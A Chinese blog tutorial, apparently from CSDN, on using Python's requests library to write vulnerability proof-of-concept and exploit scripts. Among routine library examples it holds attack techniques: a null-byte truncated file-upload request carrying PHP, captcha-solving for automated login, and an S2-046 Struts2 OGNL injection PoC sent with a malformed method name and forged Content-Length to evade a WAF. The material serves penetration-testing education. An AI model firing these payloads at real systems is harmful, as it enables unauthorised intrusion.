python requests库用法整理(POC/EXP编写向)

最新推荐文章于 2024-04-15 16:51:42 发布
最新推荐文章于 2024-04-15 16:51:42 发布
阅读量4.6k 收藏 15
点赞数 8
分类专栏： 开发 文章标签： python
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/fnmsd/article/details/79531403
版权


requests库是python中功能强大的HTTP请求库，可帮助使用者自动进行参数及表单的URL编码。并通过urllib3进行了自动实现Keep-alive和HTTP连接池。可以帮开发者将很多手工实现的地方变为自动。

翻译下官网上的“友爱的特性”：

  • Keep-Alive & 连接池(Keep-Alive & Connection Pooling)

  • 国际化域名与URL(International Domains and URLs)

  • 基于Cookie的Session保持(Sessions with Cookie Persistence)

  • 浏览器风格的SSL认证(Browser-style SSL Verification)

  • 自动的内容解码(Automatic Content Decoding)

  • 基础/摘要认证（Basic/Digest Authentication）

  • 优雅的Key/Value结构Cookies(Elegant Key/Value Cookies)

  • 自动解压缩（Automatic Decompression）

  • Unicode形式的响应体（Unicode Response Bodies）

  • HTTP(S)代理支持（HTTP(S) Proxy Support）

  • Multipart文件上传（Multipart File Uploads）

  • 流式文件下载（Streaming Downloads）

  • 连接超时配置（Connection Timeouts）

  • 分块请求（Chunked Requests)

  • .netrc支持（.netrc Support）

本篇介绍日常写POC/EXP中的一些requests的用法及坑点。

基本用法

  1. GET请求

import requests
#这里写一次，后面不再重写
url = 'https://www.anquanke.com/'
headers={'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3362.0 Safari/537.36'}
proxies = {'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'} #burp的代理地址
parameters={'abc':'bc%"\x00d'}
r = requests.get(url, #请求URL
                 params = parameters, #URL参数
                 headers = headers,#请求头设置
                 proxies = proxies,#设置代理服务器，没有需要可以不加
                 verify = False #设置了burp作为代理，会造成证书验证出错报异常，改为False则忽略异常继续请求，同样可以在证书存在问题的HTTPS网站使用。
                )

其中parameter在请求时会自动进行URL编码，

GET /?abc=bc%25%22%00d HTTP/1.1
Host: www.anquanke.com
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3362.0 Safari/537.36

如果需要同样的参数名出现多次（比如HTTP参数污染），可以将参数dict中参数名对应的值改为列表,

parameters = {'aaa':['aaa','bbbb']}

这个请自行尝试。

另外，参数也可以写直接在URL中，但写在URL中不会对%&等特殊符号进行URL编码，这个需要注意下。

我们可以通过r.url查看实际请求的URL

url = 'https://www.anquanke.com/?abc=bc\x00%"d&abcd=123'
r = requests.get(url)
print r.url
#https://www.anquanke.com/?abc=bc%00%%22d&abc=123

可以看到URL中的%没有被编码

  1. POST请求

import requests
url = 'https://www.anquanke.com/'
postdata={'a':'a\x00aa"a','b':'bb%bb'}
r = requests.post(url,data=postdata)

提交的报文:

POST / HTTP/1.1
Host: www.anquanke.com
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.18.4
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
​
a=a%00aa%22a&b=bb%25bb

另外，data参数可以直接传入一个构造好的字符串,requests库会直接提交该字符串，不会对其做任何编码处理，有需要不进行URL编码时可以使用。

除了GET/POST请求，同样requests的也自带支持put/delete/head/options等请求方法，这些可以自己尝试一下

3.requests的几种常见的响应属性

import requests
r = requests.get('https://api.github.com/events')
r.content #bytes数据，适用于非文本响应（非文本文件下载、加密传输结果等等）
#b'[{"repository":{"open_issues":0,"url":"https://github.com/...
​
r.text #将content进行解码后的文本数据，返回Unicode类型文本，适用于文本数据（HTML、TXT等等）。
#u'[{"repository":{"open_issues":0,"url":"https://github.com/...
​
r.encoding #text使用encoding的编码值进行解码，encoding默认由requests库调用chardet库进行识别，识别错误时可以手工进行修改。
#'utf-8'
​
r.json() #自动的将内容进行 json code，返回dict或list，适用于响应为JSON
#[{u'repository': {u'open_issues': 0, u'url': 'https://github.com/...
​
r.headers #响应头
#{'X-XSS-Protection': '1; mode=block', 'Content-Security-Policy': "default-src 'none'"...
​
r.status_code #响应码
#200

requests使用Session

对于需要访问登陆后页面的，我们需要使用requests的session功能，Session会自动的帮我们追踪Set-Cookie。

下面例子以 Acunetix的在线演示系统，在实验脚本时最好先浏览器看下。

http://testphp.vulnweb.com/cart.php

import requests
s = requests.session() #创建session对象
r = s.get('http://testphp.vulnweb.com/cart.php') #获取购物车
print r.text
#结果包含<p>You are not logged on. To log on please visit our <a href='login.php'>login page</a></p>，说明需要登录
r = s.post('http://testphp.vulnweb.com/userinfo.php',data={'uname':'test','pass':'test'})#进行登录
r = s.get('http://testphp.vulnweb.com/cart.php') #获取购物车
print r.text
#源码中包含<a href='logout.php'>Logout test</a>，并包含Total: $0

目前很多登录中会用到验证码，可以配合阿里云验证码识别API进行验证码识别后进行登录，获取验证码同样需要使用session,以安全客的登录为例，安全客整体前端后端分离，登录API即可。

import requests
import json
s = requests.session() #创建session
username='testas34'#随意注册了一个账号
password='test12345'
appcode='xxxxxxxxxxxxxxxxxxxxxxx' #验证码识别的APIkey,具体可以自己去阿里云市场购买https://market.aliyun.com/products/57126001/cmapi014396.html
​
headers = {'Connection': 'close',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3362.0 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
 } #假装是Chrome浏览器
headers['Referer']='https://www.anquanke.com/login'
img_captcha = s.get('https://api.anquanke.com/data/v1/util/captcha?r=0.27755197669540665',headers=headers)#获取图片验证码,随机数有需要可以自行修改
image_r = requests.post('http://jisuyzmsb.market.alicloudapi.com/captcha/recognize',
                        headers={'Authorization':'APPCODE '+appcode,'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'},
                        data={'type':'en5','pic':img_captcha.content.encode('base64')}
                       )#进行验证码识别
print image_r.json()#验证码识别结果
captcha = image_r.json()['result']['code']
headers['Content-Type']='application/json;charset=UTF-8' #**关键的一步，Content-Type必须设定正确
headers['Origin']='https://www.anquanke.com'
login_data={'username':username,'password':password,'captcha':captcha}
r = s.post('https://api.anquanke.com/data/v1/user/login',headers=headers,data=json.dumps(login_data))#登录
print r.json()
r = s.get('https://api.anquanke.com/data/v1/user/status',headers=headers)#查看登录状态
print r.json()
#{u'isLogin': True, u'user': {u'username': u'testas34', u'nonce': u'929babda60', u'description': u'\u8fd9\u4e2a\u4eba\u592a\u61d2\u4e86\uff0c\u7b7e\u540d\u90fd\u61d2\u5f97\u5199\u4e00\u4e2a', u'email': u'test123@test.com', u'avatar': u'https://p4.ssl.qhimg.com/t010857340ce46bb672.jpg', u'nickname': u'testas34', u'id': 131547}} 取到了登录后的状态信息

requests的session对象可以统一设置一些一些参数，具体如下：

s.headers={'Content-Type':'application/json;charset=UTF-8'} #请求头设置
s.proxies={'https':'http://127.0.0.1:8080'} #请求代理设置
s.verify=False #SSL证书验证设置

就是把平时放到请求函数中的参数直接赋给了session对象。

Stream模式分块读取（大文件下载）

一般利用requests下载文件的过程很简单：

import requests
r = requests.get('https://p0.ssl.qhimg.com/t01dcf171a151ec5398.png')
f = open('logo.png','wb')#注意要用wb模式
f.write(r.content)#非文本文件用content
f.close()

而文件过大，可能导致内存不足时建议使用Stream模式

import requests
r = requests.get('http://zt.bdinfo.net/speedtest/wo3G.rar', stream=True)
f = open("logo.png", "wb")
for chunk in r.iter_content(chunk_size=512):
    if chunk:
        f.write(chunk)
f.close()

文件上传（Multipart编码POST请求）

requests可以很方便的生成文件上传用的Multipart请求，不需要我们手工构造请求包

以截断上传的请求为例：

import requests
postdata = {'test':'test1'}#普通参数
files = {
    'upload':('phpinfo.php\x00',open('phpinfo.php','rb'),'image/png')
}#文件型参数名参数，tuple中依次为文件名、文件内容、文件的Content-Type，不需要Content-Type可以不写
r = requests.post('http://www.anquanke.com',files=files,data=postdata)

生成的请求报文为

POST / HTTP/1.1
Host: www.anquanke.com
Connection: close
Accept: */*
User-Agent: python-requests/2.18.4
Content-Length: 285
Content-Type: multipart/form-data; boundary=bc335c29888040ea9a820d679d67eee8
​
--bc335c29888040ea9a820d679d67eee8
Content-Disposition: form-data; name="test"
​
test1
--bc335c29888040ea9a820d679d67eee8
Content-Disposition: form-data; name="upload"; filename="phpinfo.php口.png"
Content-Type: image/png
​
<?php phpinfo();
--bc335c29888040ea9a820d679d67eee8--

口的那个位置代表\x00,所要上传的文件需要用rb模式打开，防止以文本模式打开时数据不正确。

Cookies操作

很多POC中我们需要操作Cookies。Response中Cookies可以用dict的形式直接操作

import requests
r = requests.get('https://api.anquanke.com/data/v1/user/status')
print r.cookies #直接输出RequestsCookieJar的形式
#<RequestsCookieJar[<Cookie PHPSESSID=trvut7m5ovga5il8fsp6ahn9s2 for api.anquanke.com/>]>
print dict(r.cookies) #转化为dict输出
#{'PHPSESSID': 'trvut7m5ovga5il8fsp6ahn9s2'}
print r.cookies['PHPSESSID']
#trvut7m5ovga5il8fsp6ahn9s2

请求时可以直接传入dict做为Cookies

import requests
Cookies={'wakaka':'aaaaa','bbbb':'aaaa'}
r = requests.get('https://api.anquanke.com/data/v1/user/status',cookies=Cookies)

抓到的包为

GET /data/v1/user/status HTTP/1.1
Host: api.anquanke.com
Connection: close
Accept: */*
User-Agent: python-requests/2.18.4
Cookie: wakaka=aaaaa; bbbb=aaaa

可以看到Cookies传入了进去。

PS:你也可将Cookies当做一个请求头传入进去，不过不推荐这种方法。

自定义Content-Length与请求方法名

Content-Length头在定义data参数时会自动计算，无法直接进行设置。但是像S2-046的一种利用方法中，却需要设置Content-Length为2GB以上。

同样，如果我们想要将方法名设置为XXXX或者方法前面加空格（比如" POST"）进行WAF绕过时，那么通过直接调用requests的方法就不行了，这时需要通过requests的Request对象进行构造请求。以S2-046的POC为例:

import requests
s = requests.session()
f={'upload':("%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('justatest','23333')}","233333",'text/plain')}
req = requests.Request(' XXXX',"http://www.anquanke.com",files=f)#设置请求方法为" XXXX",此处参数与直接调用get/post等类似
prepped = req.prepare()
prepped.headers['Content-Length']='10000000' #修改已经计算好了的
s.send(prepped)#发送构造好的请求

由于此处在开头加了空格，burpsuite截包会将头上第一个空格、\n等吃掉，此处验证请用wireshark进行抓包。

-抓取到的报文，可以看到:

 XXXX / HTTP/1.1
Host: www.anquanke.com
Accept-Encoding: identity
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=a5ff424949484aa18c82d6e5b2cf4dfa
​
--a5ff424949484aa18c82d6e5b2cf4dfa
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('justatest','23333')}"
Content-Type: text/plain
​
233333
--a5ff424949484aa18c82d6e5b2cf4dfa--

一些Tips

  1. 设置verify=False时，如果SSL证书有问题，会打印warning，看着很烦人,使用如下代码即可关闭SSL相关的warning信息。

    from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

  2. requests会自动follow 30x的转向，需要抓取30x的响应结果，需要在请求方法中设置参数allow_redirects=False

  3. 记得平时给请求函数加个timeout参数,单位为秒

    r=requests.get('http://www.anquanke.com',timeout=3,allow_directs=False)

  4. 比较诙谐的官网官网挂了比较诙谐的一句话：

    Requests is the only Non-GMO HTTP library for Python, safe for human consumption.

    requests是python仅有非转基因HTTP库，它是可以安全的让人类使用的。

fnmsd
关注
  • 8
    点赞
  • 踩
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
python编写EXP/POC速成小记
U_U520的博客
02-22 1835
find() 方法检测字符串中是否包含子字符串 str ，如果指定 beg（开始） 和 end（结束） 范围，则检查是否包含在指定范围内，如果包含子字符串返回开始的索引值，否则返回-1。上述脚本存在误报，就是payload只有一个单引号闭合，没办法检验数字型sql，双引号型，’)型，’))等在payload中多加几个类型，可以直接导入自己的FUZZ字典。漏洞刚被批漏之后，有时候现有的工具里面是没有相应的EXP的，那我们可以根据原理写出对应的EXP代码，验证漏洞是否存在。不然会出现报错不适用。
poc_and_exp:搜集的或者自己写的poc或者exp
05-26
poc_and_exp 搜集的或者自己写的poc或者exp 所有代码仅为教育目的编写，使用范围仅限于教育研究以及合法的渗透测试及攻防演练，使用者请自觉遵守所在地法律法规 pyspider unauthorized access pyspider未授权访问利用 URPResetHunter URP教务系统鸡肋任意密码重置漏洞 (转头发现这篇文章莫名其妙不见了，有时间补上） rce.py 通达OA11.6 preauth RCE（全网首发） Packer-Fuzzer-RCE Packer-Fuzzer() RCE
Python从入门到编写POC之读写文件1
08-03
一个文件被打开后，有一个file对象，可以得到有关该文件的各种信息，以下是一些使用方法：file.closed 返回true如果文件已被关闭，否则返回false
Python模块-requests（HTTP）
weixin_41182861的博客
09-26 480
HTTP状态码获取 https://httpbin.org HTTP协议介绍 协议分类： HTTP 1.0，使用的是80端口，一次一个连接。明文传输，不安全。 HTTP 1.1，使用的是80端口，可多次一个连接。明文传输，不安全。 HTTPS，使用的是443端口，可多次一个连接。加密传输。 请求方法： HTTP1.0 HTTP1.1 GET GET POST POST HEAD HEAD — PUT — DELETE — TRACE — CONNET
【Python Requests 库介绍】
武帝为此的博客
01-24 1145
Requests是一个广泛使用的Python第三方库，专门用于发送HTTP/HTTPS请求。与Python内置的urllib相比，Requests提供了更加直观和灵活的API。
如何使用Python快速编写批量POC/EXP脚本(无脑版)
Liyu_6618的博客
02-02 469
如何使用Python快速编写批量POC/EXP脚本(无脑版)
python编写简单poc，验证dvwa靶场
记录日常学习
09-02 327
用python编写简单poc练习，熟悉poc基本构造，以dvwa为例。
简单的poc以及exp编写（入门篇）
LINGOVO的博客
12-18 9478
本文中主要针对的是Web应用渗透中的漏洞，而与Web应用之间的交互大多是基于HTTP协议的。所以用到python中与HTTP协议相关的一些模块 一、何为POC和EXP POC Proof of Concept中文意思是“观点证明”，是用来检测是否存在漏洞的脚本 EXP Exploit的中文意思是“漏洞利用”，是用来利用该漏洞的脚本 二、基础环境Python3 HTTP 方法 内容 GET 获取资源 POST 传输实体主体 PUT 传输文件 HEAD 获得响应报文首部
python爬虫之Request的get和post请求
只是甲的博客
09-22 1813
python 爬虫 Request get和post请求
linux struts2漏洞,重大漏洞预警：Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)
weixin_39612677的博客
05-16 412
背景介绍近日，安全研究人员发现著名J2EE框架——Struts2存在远程代码执行的漏洞，Struts2官方已经确认该漏洞(S2-045,S2-046)，并定级为高危漏洞。Struts2的使用范围及其广泛，国内外均有大量厂商使用该框架。Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立...
解决Python requests库中的重定向问题
随便写写
11-20 1063
处理重定向需要注意各种细节问题，并采取适当的措施来确保请求能够成功发送并获得预期的响应结果。
Python----POC到EXP（requests模块、python脚本实现布尔盲注、延时注入）
Pluto.的博客
12-27 2202
文章目录Python一、编写EXP1. requests模块- 概述- 支持HTTP的方法- requests使用HTTP方法- 参数- 对象对应的方法2. 快速开始3. 相关操作- 定制头部- 超时- GET传参- POST传参- 上传文件- 重定向- cookie4. py脚本实现布尔盲注5. py脚本实现延时注入- sys.argv[ ] Python 一、编写EXP EXP是漏洞利用工具； 基础环境Python3，核心模块requests。 1. requests模块 - 概述 requests
Python requests库用法实例详解
09-20
主要介绍了Python requests库用法,结合实例形式分析了Request库的功能、安装、请求创建、响应等相关操作技巧,需要的朋友可以参考下
Python Requests库基本用法示例
09-20
主要介绍了Python Requests库基本用法,结合实例形式总结分析了Python Requests库安装、请求发送与响应、文件下载、重定向等相关操作技巧及注意事项,需要的朋友可以参考下
python中数据爬虫requests库使用方法详解
09-20
本篇文章主要介绍了python中数据爬虫requests库使用方法详解，小编觉得挺不错的，现在分享给大家，也给大家做个参考。一起跟随小编过来看看吧
Python程序设计：使用requests库下载页面.pptx
06-13
知识点：使用requests库 爬虫程序编写流程 爬虫的技术选型 爬虫的编写主要有两种形式： requests + beautifulsoap或者lxml 使用成熟的爬虫框架，例如Scrapy 两种选型的比较 requests ，beautifulsoap，lxml都是程序...
python requests库爬取豆瓣电视剧数据并保存到本地详解
09-18
主要介绍了python requests库爬取豆瓣电视剧数据并保存到本地详解,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
Java开发从入门到精通（二十）：Java的面向对象编程OOP：异常处理
HACKONE的博客
04-15 633
Java无法为这个世界上全部的问题都提供异常类来代表，如果企业自己的某种问题，想通过异常来表示以便用异常来管理该问题，那就需要自己来定义异常类了。这段代码上层调用saveAge(223);，不会知道这个方法到底执行成功没有，因为这个方法没有返回值，如果要返回执行情况，要用一个异常对象封装这个问题// 需求:保存一个合法的年龄System.out.println("年龄被成功保存:" + age);} else {System.out.println("年龄非法!:");异常体系的两大阵营。
【Python基础】17.模块
最新发布
weixin_41270232的博客
04-15 352
pyPython标识符全局变量、函数、类。
python requests库用法
04-11
Python Requests 库是一个用于向网络资源发送 HTTP 请求的第三方库。它可以发送 GET、POST、PUT、DELETE 等类型的 HTTP 请求，并且支持处理 Cookie、重定向、SSL 认证等常见的功能。使用它可以方便地抓取网页数据，例如爬虫、数据挖掘等应用场景。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值